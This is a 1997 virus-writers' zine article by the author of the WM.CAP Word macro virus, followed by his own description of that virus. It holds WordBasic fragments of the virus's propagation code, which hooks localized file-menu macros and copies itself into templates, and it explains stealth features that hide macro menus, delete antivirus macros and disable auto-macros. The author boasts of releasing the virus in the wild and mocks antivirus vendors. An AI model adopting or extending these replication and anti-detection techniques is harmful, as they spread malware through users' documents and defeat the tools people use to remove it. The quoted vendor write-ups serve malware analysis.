If at this point u're wonderin why we created a new "empty" document from the template, then u probably need some background info in Word macroz and templatez. The new created document is NOT "empty" as it was created from a template which was not empty. Remember that this template is really our infected document and as a result our new created document will contain the same text stuff as the template. Remember also the definition of what a "template" is and why we use them.

3. The "MultiLanguage suport" problem ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This is a dificult topic and several diferent aproachez have been tried and implemented by different VXers in order to overcome it. However as to this writin, i still havent seen a single *reliable* multilanguage macro virus. The Wazzu virus consisted of a single automacro: AutoOpen. This makes it language-independent indeed but it still has the "SaveAs" problem, big deal. The "MultiLanguage suport" problem has to do with the fact that MS Word is available in diferent languagez and flavorz for diferent platformz. Whenever we give a macro the name of a menu item, Word will actually execute the code contained in such macro whenever the user clicks or presses the menu item asociated with it. However if the user executes the same action (clicks the same menu item) under another Word language, the asociated macro won't be executed at all becoz it doesnt match the menu item name as it was written in another language, u see? For example supose in english Word we program the "FileOpen" macro to do whatever action. Whenever we click the "File/Open" item, our macro will be executed. However supose we copy (unchanged) the same macro to another Word language, say spanish. Under this Word language the asociated file menu item changes now to "Archivo/Abrir". If we click this menu item, our old "FileOpen" macro won't be executed at all. However if we rename the macro to "ArchivoAbrir", this time it will execute just fine. This is what is known as the "MultiLanguage suport" problem.

3.1. The "MultiLanguage suport" solution (without AutoMacroz) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The best aproach to obtain multilanguage suport without losin control over the enviroment is interceptin the file menu related macroz, at least the "FileSaveAs" macro so we can fix the "SaveAs" problem. The best solution i came up with after thinkin a bit among the diferent alternativez was to intercept the file macroz directly acordin to the especific Word language instaled. This is not a dificult task, however what proves to be somewhat complicated is guessin out the correct macro name for the respective file menu item. If this step is done incorrectly, some file menuz will end up doin diferent actionz other than expected. For instance, the "FileSave" macro could end up callin "FileClose", thus closin the document instead of saving it or viceversa. In order to get the macro namez for the actual Word language instaled, we must use the "MenuItemMacro$" function. This function gives us the macro name for a given menu item inside a menu, asumin we know of course which menu this menu item refers or belongs to and knowin the menu item name or the menu item position inside this menu itself. Heh are u drowsy? =8-S. This is precisely the reason why this method is still not 100% reliable. We must asume fixed menu item positionz for the menu itemz we wanna hook. In any Word language from any standard Word instalation we have the followin scenario (equivalent spanish macroz are also shown):

English ÄÄÄÄÄÄÄ FileOpen FileClose FileSave FileSaveAs

Spanish ÄÄÄÄÄÄÄ ArchivoAbrir ArchivoCerrar ArchivoGuardar ArchivoGuardarComo

Menu ÄÄÄÄ 1 (File) 1 (File) 1 (File) 1 (File)

Menu item position ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 2 3 5 6

This is precisely the method implemented in the WM.CAP virus in order to work in any Word language. It created aditional macro namez with same body but diferent name -acordin to the actual Word language instaled- for a given macro function. The fact that the macro code remains the same in any Word language is not a problem. The macro interpreter inside Word is "universal", meanin that it will execute correctly the WordBasic or VBA instructionz inside the macroz without carin about the actual Word language instaled. It needs however to refer to valid existin macro namez or labelz. As macro namez change for a given especific Word language, we must be very careful NOT to include any reference to a language-dependent macro name inside any of our file related macroz. This is the reason why such file related macroz inside WM.CAP are just short stubz ("wraperz") that jump to other subroutinez inside the CAP macro itself. Before showin an example to the "MultiLanguage suport" method, i must warn once again that this method is not 100% reliable. It all depends on how much the user has customized his Word menuz and other setingz. It should however work just perfect on those Wordz havin the factory standard setingz which gracely share all Word instalationz by default. Again in some especific user-customized Word instalationz, the latter method can easily mess up some of the file related macroz, resultin in unexpected behavior and weird funny actionz. Here follows the "MultiLanguage suport" example.

3.2. The "MultiLanguage suport" example ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Dim Shared MacroName$(N) Sub MAIN [...] MacroName$(2) MacroName$(3) MacroName$(5) MacroName$(6) ' Array of stringz to hold the macro namez ' Main subroutine = = = = "FileOpen" "FileClose" "FileSave" "FileSaveAs" ' ' ' ' "FileOpen" "FileClose" "FileSave" "FileSaveAs" at at at at position position position position 2 3 5 6 in in in in file file file file menu menu menu menu

FileMenu$ = MenuText$(0, 1)

' Get name for file menu ("&File")

For MacroNumber = CountMacros(1) To 1 Step - 1 Position = 0 NameOfMacro$ = MacroName$(MacroNumber, 1) Select Case MacroDesc$(NameOfMacro$) Case "FileOpen" Position = 2 Case "FileClose" Position = 3 Case "FileSave" Position = 5 Case "FileSaveAs" Position = 6 End Select If Position Then ' ' ' ' ' ' ' '

' Process each macro ' No position by now ' Get macro name ' Get description of ' macro name Description = "FileOpen" ? then position in file menu = 2 Description = "FileClose" ? then position in file menu = 3 Description = "FileSave" ? then position in file menu = 5 Description = "FileSaveAs" ? then position in file menu = 6

' If position in file menu was found then..

LocalMacro$ = MenuItemMacro$(FileMenu$, 0, Position)

' Get localized ' macro name If Left$(UCase$(LocalMacro$), Len(MacroName$(Position))) <> UCase$(MacroName$(Position)) ' If local macro name is And ' diferent from english name Left$(LocalMacro$, 1) ' and local macro name is NOT <> "(" ' a separator "(.." then Then MacroCopy F$ + ":" + NameOfMacro$, LocalMacro$, -1 End If End If Next ' Copy macro to ' localized ' macro name

' Process next macro

The objective in the previous example shows for itself. We're tryin to get the file related macro namez for any localized version of Word other than english. If these file related macroz are located in the exact position where we expect them to be in the file menu (very likely), then the above example will do its work. Probably at this point u're wonderin what has the macro description field to do in all this mess. Heh, well, the field proves to be very useful for some purposez other than simply describin what the macro does. The macro description field can be used to hold generation countz and self-recognition paternz, among other thingz. In the above example however, the description field mite not be necesary at all. Its purpose is simply to identify a given file related macro in order to assign a position for it in the file menu. But u could argue this can be done as well simply comparin the macro name retrieved from the "MacroName$" function with the required english macro name. Yes, u could, and it would work, as long as these english file related macroz keep stayin in the infected document. But u see, macro corruption, deletion and snatchin of macros are common nowadayz between macro virii due to the increasin number of existin samples of themselves. Becoz of this, the use of the macro description field (whenever posible) to recognize english or equivalent localized macro namez, makes the virus much more robust to macro corruptionz or undesired macro deletionz.

4. Final note ÄÄÄÄÄÄÄÄÄÄÄÄÄ This article was written one or two months after Microsoft released its long expected Office'97, containin Word'97. Becoz of this and becoz i lost my interest in macro virii stuff since that time on, i dunno if these macro trickz will also work under Word'97, i guess not. However, if other VXerz are interested in these topicz and want to add more robustness to their macro virii under Word'97, they should consider the problemz described above. I hope this article could be useful for that purpose. Thats all, folkz.

5. Disclaimer ÄÄÄÄÄÄÄÄÄÄÄÄÄ This information is for educational purposez only. The author is not responsible for any problemz caused by the use of this information.

(c) 1997. Jacky Qwerty / 29A.

WM.CAP virus description ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Jacky Qwerty/29A This article gives a full description of the WordMacro CAP virus. It can be seen as a "real" example for the different techniqz described in the past article named "Macro virus trickz". Check out as well the virus source code, also published in this isue.

Index ÄÄÄÄÄ 1. Introduction 1.1 Macro virus hype 2. WM.CAP: a complex word macro virus? 3. In the Newz 3.1. Dr.Solomon speaks 3.2. Sophos speaks 3.3. McAfee speaks 3.4. F-Potatoe speaks 3.5. Norton speaks 3.6. AVP speaks 3.7. Quarterdeck speaks 4. Functional Description 4.1. Removal of macroz 4.1.1. Concept vs. Wazzu 4.1.2. CAP vs. Concept 4.2. Global template infection 4.2.1. Searchin for localized macroz 4.2.2. Incremental generation count 4.2.3. Removal of menu itemz - stealth 4.3. Document, template and RTF infection 4.4. Disablin of AutoMacroz 4.5. The "SaveAs" problem solved 5. Shortcutz 6. Disclaimer

1. Introduction ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Factz prove for themselvez. Macro virii have become one of the most comon type of computer virus. While the latter sounds like a press release, we cant deny that unfortunately it is becomin true. "Unfortunately" becoz as u will see later, macro virii unlike other type of computer virii, are not really very dificult to write, in fact much of them have been coded in a very simple way, followin a straightforward programin aproach. While there could be some few exceptionz to the rule, macro virii in general dont prove to deserve that kind of atention that other more interestin type of computer virii mite do, regardin other innovative infection techniqz, new wayz of residency, improved methodz for trapin file activity and the complexity of the virus code itself. Featurez which are very dependent to a great extent on the skillz of the VXer himself.

1.1. Macro virus hype ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ But leavin aside that atonishin publicity surroundin macro virii and now followin a much more objetive aproach: what lies behind the creation of a macro virus? is it really hard to write such virusez? why so much hype bout Concept? well, not really. Much of that fuzz was nonsense, another press release biten and exagerated by the obfuscating media. I rememeber at the time Concept was big newz, AVerz started to say repeatedly again and again

that such macro virii were fairly easy to write and that they could be more infectious and comon than any other virus type. Yea AVerz, strangely tho, said the mean and lean truth. So now they come, shoot our mindz and then wash their handz pretendin they have nothin to do with the macro virus hype. After all, we are the "kidz" so we are the guilty onez, we are the bad guyz and they are of course the heroez of the movie. Same old story.

2. WM.CAP: a complex macro virus? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ CAP was a macro virus i wrote durin a bored December weekend after endin classes for the quarter and startin my xmas vacationz. It was also my first and last macro virus until i lost all of my interest in this stuff and focused my atention on other much more interestin virus related topicz :) It began as a curiosity of mine when tryin to understand for myself how these virusez worked and how much they could spread for themselvez. The CAP virus made its way into the wild the same way most other virusez do. It was writen in a simple 386 machine runin Windoze 3.1, it was tested in both english and spanish versionz of Word 6, and was finaly released and spread as with any other macro virus. Yea, it has some pretty kewl featurez but they are far from bein extraordinary or complex as some AVerz put it, especialy an AVer named Miko Hypp”nen from Datafellowz (F-Potatoe), a very nice dude, author of F-Potatoe buletinz, who btw behaved very kind in his last isue when he encouraged people to send their "opinion on virus writin" to my Hotmail mailbox. I wont forget that one, Miko, very nice from u, pal. However it was also the first time i thanked the phuckin mother who hacked my Hotmail acount, hrmph @&%#..

3. In the newz ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Shortly after CAP was released, there apeared a seriez of increasin reportz posted on several newsgroupz, especially from alt.comp.virus. Userz were suspectin about a new macro virus removin the Toolz/Macro and Toolz/Customize menu itemz from their Word enviroment. A couple of monthz later, CAP was bein reported at diferent regionz worldwide. Was CAP just another lucky virus or there was somethin more behind? Well, just keep readin if u want to know the mean and lean truth. #8) But before this lets listen to what AVerz have to say about CAP, that mite help us understand some more about CAP's functionin, mmm.. well, just a bit coz u know how some AVerz are, regardin their virus descriptionz. They feed on hype describin how good their AV programz detect virusez, instead of describin how the virusez really work and how some of them are able to defeat and nulify their stuff. Most of the AV programz agree they can safely remove all (removable) virusez they detect. Factz prove this is not true. None of the macro AV programz, except perhaps new versions of F-MacroW, have been able to remove properly all of the CAP spontaneously generated variantz. And as u'll see later in this article, this behavior could have been made much more complex on purpose.

3.1. Dr.Solomon speaks ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ (*) Dr.Solomon - http://www.drsolomon.com/vircen/valerts/wmcap.html - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 WM/CAP This macro virus appeared first in February 1997 and has quickly become widespread. The basic virus consists of one large macro called CAP (hence the name) which is called from the virus' other

macros - AutoExec, AutoOpen, FileSave, FileSaveAs, FileTemplates, ToolsMacro, FileClose, FileOpen and AutoClose. When the virus replicates, the first thing it does is to copy the basic set of 10 macros. The virus then browses the WinWord menu items, collects their names, (they could be different in different language versions, or customized versions of WinWord), and intercepts up to 5 of these additional macros - placing a pointer to the main CAP macro inside them. If there are any system macros defined in a global template before the infection - they are deleted. The virus also removes the menu items Tools/Macro and Tools/Customize. The File/Templates menu item is present after infection but it does not work. In essence, then, the virus consists of 10 basic English macros and up to 5 additional macros taken from the menus if they are not standard for the English language version of WinWord. The virus uses information from the macro description field, (at the bottom of Tools/Macro box), for self recognition of its core macros. These have "F%" at the beginning of a description (FileOpen has F%O, FileClose - F%C, FileSave - F%S and FileSaveAs - F%SA). The virus has no damaging payload except that it removes system macros defined in the global template. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

3.2. Sophos speaks ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ (*) Sophos - http://www.sophos.com/virusinfo/analyses/winwordcap.html - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Virus analyses Winword/CAP ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Virus Name:Winword/CAP. Aliases: None known. Type: MS Word document infector. Resident: Yes, within Word environment. Stealth: Yes. Empty macros are used to prevent Word showing menu items. For example, the ToolsMacro (or ExtrasMakro under German Word) is empty, which prevents the use of the ToolsMacro to see whether or not there are macros present. The virus also removes the menu item itself so that it does not even appear in the list of available choices. Trigger: None. Payload: None. Comments: The Winword/CAP virus installs the following macros: FileTemplates, ToolsMacro, FileSaveAs, FileClose, AutoClose, FileSave, FileOpen, AutoOpen, AutoExec and CAP. In addition, the virus will find the current local language version of the macros and will install these as well as the English ones. For example, if the virus infects a German version of Word, it will also install macros named DateiOffnen, DateiSpeichern, DateiSpeichernUnter, DateiSchliebenOderAllesSchlieben. With the exception of the CAP macro itself, all the macros are very short stubs which either call subroutines within CAP or do nothing at all. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

3.3. McAfee speaks ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ (*) McAfee - http://www.mcafee.com/support/techdocs/vinfo/vm007.asp - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 CAP.A Virus Characteristics This virus propagates by infecting Word Documents in Microsoft WORD Versions 6.x / 7.x on Windows and Macintosh platforms. The virus consists of these macros: CAP, AUTOEXEC, AUTOOPEN, AUTOCLOSE, FILETEMPLATES, FILESAVE, FILESAVEAS, TOOLSMACRO, FILEOPEN, FILECLOSE in an infected document. In localized language versions of MS Word some macros are copied to the specific SystemMacro name. The virus becomes active by using Auto- and SystemMacros. All macros are encrypted using the standard Word execute-only feature. Meaning that the user is unable to edit or view the macro code. Indications of Infection Before infection it will delete all existing macros in NORMAL.DOT or other templates. On an infected system the virus hides the FILE|TEMPLATE and TOOLS|MACRO functionality. Warning: It is important not to use this command, as you will execute the viral code. It may also delete these menu entries plus TOOLS|CUSTOMIZE in the global environment. If you are affected by this virus please read 'Add. Information'. Virus Information Discovery Date Mar 1997 Origin Venezuela Length Not Applicable Type General Macro Virus Information Prevalence Common - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 (*) McAfee - WHATSNEW.TXT file from McAfee's SCAN v3.0.2 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 CAP.A The Word Macro virus, CAP.A, is spreading wildly on all corners of the globe, especially in the United States. McAfee's AVERT Team has documented cases of CAP.A found in: Brazil, Germany, Australia, Hong Kong, Argentina, Columbia, England, Sweden, Mexico, Venezuela, and Russia. CAP.A's behavior depends upon the language of Microsoft Word being used, or if the installation of Microsoft Word has been customized, making the cleaning of the virus challenging for many antivirus products. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

3.4. F-Potatoe speaks ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ (*) F-Potatoe (DataFellows) - http://www.datafellows.fi/v-descs/cap.htm - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Computer Virus Information Pages NAME: CAP ALIAS: WordMacro/CAP, CUP ORIGIN: Venezuela For more information on macro viruses, see WordMacro/Concept. CAP is a complex Word macro virus. It consists of several encrypted macros: CAP, AutoExec, AutoOpen, FileSave, FileSaveAs, FileTemplates, ToolsMacro, FileClose, FileOpen and AutoClose. The virus contains these texts in comments: 'C.A.P: Un virus social.. y ahora digital.. '"j4cKy Qw3rTy" (jqw3rty@hotmail.com). 'Venezuela, Maracay, Dic 1996. 'P.D. Que haces gochito ? Nunca seras Simon Bolivar.. Bolsa ! When infecting Word, CAP modifies up to five already-existing menus, redirecting them to the virus code. This creates some problems, as the names of the modified entries are different in different Word installations and different language versions of Word. When CAP infects documents, it deletes all existing macros from them. Otherwise CAP does not do anything destructive. However, it does remove the Tools/Macro and Tools/Customize menus and disables File/Templates menu in order to protect itself. WordMacro/CAP.A was reported in the wild in several countries in 1997. It's probably related to the WordMacro/Rapi virus. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

3.5. Norton speaks ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ (*) Norton AV - http://www.symantec.com/avcenter/data/wm.cap.a.html - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 WM.CAP.A Aliases: Infection Length: Area of Infection: Likelihood: Region Reported: Characteristics: Target Platform: Trigger Date: Description: WM.CAP.A is a virus that consists of 10 macros. Macro Name Description WordMacro/CAP.A 10 macros Microsoft Word documents Common Worldwide Wild, macro, Stealth Macro None

CAP AUTOEXEC AUTOOPEN FILEOPEN FILESAVEAS AUTOCLOSE FILECLOSE FILESSAVEAS TOOLSMACRO FILETEMPLATES

Infection Routine Calls the CAP macro Calls the CAP macro Calls the CAP macro Calls the CAP macro Calls the CAP macro Calls the CAP macro Calls the CAP macro Used for the Stealth Routine Used for the Stealth Routine

All the macros are stored in encrypted form in the infected documents. Also WM.CAP.A has a stealth feature which hides the [macro...] menu item from the [Tools] menu and the [Templates...] menu item from the [File] menu when the NORMAL.DOT (Global template) file is infected. This will prevent the user from checking the list of macros which in contained in the document or template and hides the macros. Once the NORMAL.DOT file is disinfected, the [macro...] menu and [Templates...] menu item are restored. WM.CAP.A has no intentional Trigger or Payload. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

3.6. AVP speaks ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ (*) AVP - http://www.avp.ch/avpve/macro/word/cap.stm - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 This is an encrypted stealth macro virus. It contains ten macros: CAP AutoExec AutoOpen FileOpen FileSave AutoClose FileClose FileSaveAs ToolsMacro FileTemplates - infection routine - calls the infection routine - - // - - // - - // - - // - - // - - // - hides all macros ("stealth" routine) - - // -

The virus not only disables ToolsMacro and FileTemplates menus, but also deletes the references to them in main menus File and Tools. The virus also disables auto-macros. As a result it is not possible to disinfect this virus by using Word functions - there is no possible to delete virus macros, create new or run existing virus removing macros. The virus emulates "FileSaveAs" while saving infected documents it writes an empty document to disk. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

3.7. Quarterdeck speaks ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ (*) Quarterdeck - http://www.quarterdeck.com/quarc/00011/00011128.htm - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 WM/Cap.A Summary: WM/Cap.A infects Microsoft Word for Windows documents and templates. It contains 10 macros: CAP, AutoExec, AutoOpen,

FileOpen, FileSave, AutoClose, FileClose, FileSaveAs, ToolsMacro, FileTemplates -- about 214 lines and 3926 characters of macro code after analysis standardizes the formatting within the virus. Author: Unknown Date of Origin: Prior to January 1996 Prevalence: Prevalent in Belgium, Canada, Czech Republic, Denmark, Finland, Hong Kong, Luxemburg, New Zealand, Norway, Peru, South Africa, Sweden, U.K., U.S.A. and elsewhere as of July, 1997. Variants: At least 18 variants as of June 30, 1997: A, B, C, D, E, F, J, L, N, O, P, Q, R, S, T, U, V, W Macro Functions: CAP: This macro contains an infection routine which appears to work in all language versions. Includes code to trap any errors and ignore them, to help avoid detection. Modifies user settings for saving documents. Options are set to fast saves, allow automatic saving, save changes in global template without asking, 10 minutes between automatic saves. Removes menu options from Word's menus. The global template (usually Normal.dot) will need to be deleted in order to restore Word's normal menus. Disables AutoOpen, AutoClose, AutoNew, and AutoExit macros, disabling many other macro viruses, as well as any macro-based anti-virus protection. Calls infection routine (CAP). Includes code to trap any errors and ignore them, to help avoid detection. Calls infection routine (CAP). Includes code to trap any errors and ignore them, to help avoid detection. Calls infection routine (CAP). Includes code to trap any errors and ignore them, to help avoid detection. Calls infection routine (CAP). Includes code to trap any errors and ignore them, to help avoid detection. Calls infection routine (CAP). Includes code to trap any errors and ignore them, to help avoid detection. Calls infection routine (CAP). Includes code to trap any errors and ignore them, to help avoid detection. Calls infection routine (CAP). Includes code to trap any errors and ignore them, to help avoid detection. Hides the [Macro...] menu option normally on the [Tools] menu when an infected file is loaded, preventing a user from using this menu option to see the macros of the virus. Hides the [Templates...] menu option normally on the [File] menu when an infected file is loaded, preventing a user from using the [Organizer] option on this menu to see the macros of the virus. Hides the [Macro...] menu option normally on the [Tools] menu when an infected file is loaded, preventing a user from using this menu option to see the macros of the virus. Hides the [Templates...] menu option normally on the [File] menu when an infected file is loaded, preventing a user from using the [Organizer] option on this menu to see the macros of the virus. High stealth. This sample of WM/Cap.A contains the following comments: (...) These comments are ignored by Word when the macros in WM/Cap.A run, and are not displayed. Comments in macro viruses sometimes suggest date or place of origin,

AutoExec: AutoOpen: FileOpen: FileSave: AutoClose: FileClose: FileSaveAs: ToolsMacro:

FileTemplates:

Stealth Mechanisms:

Comments:

authorship or purpose of the virus. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

4. Functional description ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ While the description from Dr.Soly is the most accurate from the above, it still doesnt explain some especific detailz. Some descriptionz are, well.. full hype, some are just promotin how excelent their AV program is and some just dunno what they say. However no matter how good or bad any description is, they have somethin in comon: all of them invariably try to hide the true reason why CAP has become so comon. I'll try to remedy that here by writin my own description now.

4.1. Removal of macroz ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Whenever an infected document is opened or a clean or infected Word enviroment, the virus first checks its own set of 10 basic macroz from the infected document bein opened. All CAP macroz share a common pattern ("F%") stored in the macro description field. If this pattern is not found, CAP deletes the macro. This process is then repeated for the global template (NORMAL.DOT). This means that all of the foreign macroz stored in the infected document and in the global template previous to infection are removed. This includes any protection AV tool or any other macro virus.

4.1.1. Concept vs Wazzu ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This prior scenario has a strong implication regardin CAP survival. Supose a given company is bein strongly infected by the Concept or any other macro virus. Now supose another macro virus, say Wazzu, enters in the company circulation. Now these two virusez will be fightin each other for survival. There cant be two "AutoOpen" macroz for obvious reasonz as there cant be other macroz repeated twice. The final result could be a new "Concept-Wazzu" variant consistin of snatched macroz from each virus, or simply the same diferent two virusez collidin with each other all the time. But what if the second virus enterin the company is the CAP virus?

4.1.2. Concept vs CAP ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Well, thingz will be a bit diferent this time. The CAP virus will spread for itself to other documentz as with any other macro virus, but it wont spend its time collidin with Concept, instead CAP will just remove each instance of Concept from the infected documentz and replace it with its own copy. If CAP keeps spreadin this way from documentz, it doesnt take much time to figure out the final resultz. In a matter of dayz, CAP will clearly "outnumber" Concept, until it almost disapears from the company. This means that CAP can be considered an eficient antivirus for macro virus, coz the macro cleanin capabilitiez travel and spread inside the virus itself. The slogan here is: "Use CAP as your favourite AV program". At this point i can hear Bontchy mentionin my genealogic tree from top to bottom ($@%#..) X-DD. When CAP finishes the macro checkin, it has a count for the number of genuine CAP macroz from the global template and another same count from the infected document. If the number of CAP macroz in the global template is less or equal than 10 (the number of english basic macroz) then the infection (or re-infection) of the global template takes place.

4.2. Global template infection ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

The infection of the Global template allows the macro virus to be loaded resident inside the Word aplication everytime the latter starts. Before infectin the Global template, CAP uses the comon trick of turnin off the Global template prompt warnin when is about to be saved on disk. Besides this, CAP also turns on FastSavin and AutoSavin, setin the AutoSave interval to 10 minutez. Then the copy of macroz take place. In the particular case of CAP, the virus infects the Global template by first copyin just the basic set of 10 english macroz from the infected document. If CAP would have copied all of the macroz contained in the infected document besides the english onez, the resultz would have been a real nightmare for AV developerz. There would have been a mix of diferent localized language macro namez inside CAP. The very first unedited and unreleased versionz of CAP worked this way but i decided to strip this feature off for technical reasonz that i will explain later. Continuin with the above hypothetical example, supose that a document was infected by CAP in an english version of Word. Now supose this document somehow travels and infects an italian version of Word. Now the virus would contain 15 macroz (10 english onez plus 5 italian onez). If the document now infects a german version of Word, there would be 20 macroz (10 english onez, 5 italian onez and 5 german onez). If the virus keeps spreadin this way thru other diferent localized versionz of Word, the number of macroz could easily reach 50 for a given document havin traveled all over the world and havin infected at least more than 8 diferent localized versionz of Word. Fortunately the only CAP version bein released doesnt work that way. Otherwise it would have been a big kick in the AVerz's assez. #8P

4.2.1. Searchin localized macroz ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ While the latter aproach would have made sense in order to annoy AVerz, technically it would have been useless and worthless in the particular case of the Global template infection. Coz after the virus has copied the basic set of 10 english macroz, the followin step is to search the menu itemz for the current localized file related macroz and copy them to the Global template. After this step, suport for especific localized versionz of Word has been added without the need to copy all of the other localized macroz from the infected document. This conjunction of stepz prove to be more efective than the one discused in the hypothetical example described above. This way the maximum number of macroz in any infected or Global template will never exceed 15. In the past article "Macro virus trickz", point 3.1. (The "MultiLanguage suport" solution) and point 3.2 (The "MultiLanguage suport" example), the search and copy of localized file related macroz from the menu itemz is explained in full detail. This is the same aproach implemented in the CAP virus as the next chunk of code shows:

A$ = MenuText$(0, 1) For I = CountMacros(1) To 1 Step - 1 J = 0 B$ = MacroName$(I, 1) Select Case MacroDesc$(B$) Case S$ + "O" J = 2 Case S$ + "C" J = 3 Case S$ + "S" J = 5 Case S$ + "SA" J = 6 End Select

If J Then C$ = MenuItemMacro$(A$, 0, J) If Left$(UCase$(C$), Len(M$(J))) <> UCase$(M$(J)) And Left$(C$, 1) <> "(" Then MacroCopy F$ + ":" + B$, C$, K End If Next

4.2.2. Incremental generation count ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ One feature that has not been mentioned before is the fact that CAP contains a "generation count". This count, unlike other previous macro virusez implementin generation countz, is stored in one of the viral macroz inside all CAP infected documentz, especificaly in the macro description field of the "ToolsMacro" macro. This generation count can be seen in two diferent wayz. Usin a hex editor to dump the contentz of an infected file and lookin for somethin like "F%n" where "n" is the generation count. Or enablin the "Tools/Macro" menu item from the "Tools" menu. If this menu item gets the focus, the macro description will be showed in the bottom left corner of the aplication window, revealin somethin like "F%5" where "5" in this case, is the generation count. It has been said that all of the CAP macroz are encrypted usin the "Execute Only" feature provided by Word. While this is certainly true for most of the CAP macroz, it is not true for the "ToolsMacro" macro. In other wordz, the "ToolsMacro" macro, which is empty, is never encrypted. U mite say this is clumsy, but it is not. The reason for this, is becoz if any macro is encrypted, its macro description field cannot be modified. This wouldnt allow us to increment the generation count stored in the "ToolsMacro" macro description field. But how do we increment this generation count? the followin piece of code answers the question:

C$ = "F%" + LTrim$(Str$(Val(Mid$(MacroDesc$("ToolsMacro"), 3)) + 1)) ToolsMacro .Name = "ToolsMacro", .Show = 1, .Description = C$, .SetDesc

The first line simply gets the "ToolsMacro" description field usin the "MacroDesc$" function, then discards the first two characterz ("F%") usin the "Mid$" function, then converts the remainder string to an integer usin the "Val" function, then increments the result by simply addin "1", then converts it back to a string usin the "Str$" function and finally concatenates it with "F%" to obtain the final string containin the next incremented generation count embeded with it. The second line in the above piece of code simply sets the new description for the "ToolsMacro" macro, containin the new incremented generation count. The generation count is incremented after the basic set of 10 english macroz have been copied to the Global template, as a result such count is incremented only once for each Word aplication infected with CAP. All newly created documentz, saved, closed or opened, will contain the same generation count at the time the Global template was infected.

4.2.3. Removal of Tool itemz - stealth ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Perhapz one of the most known featurez of CAP is its ability to remove some key menu itemz from the "Toolz" menu. This has been a clue for AVerz. Whenever a Word user posted a mesage sayin his Toolz/Macro and Toolz/Customize menu itemz disapeared, there also apeared some AVer sayin: "You have the CAP virus". This feature has also proved to be very anoyin and frustratin among AVerz, as it complicates to some extent the complete and correct disinfection of the Global "NORMAL.DOT" template, becoz userz of course, want

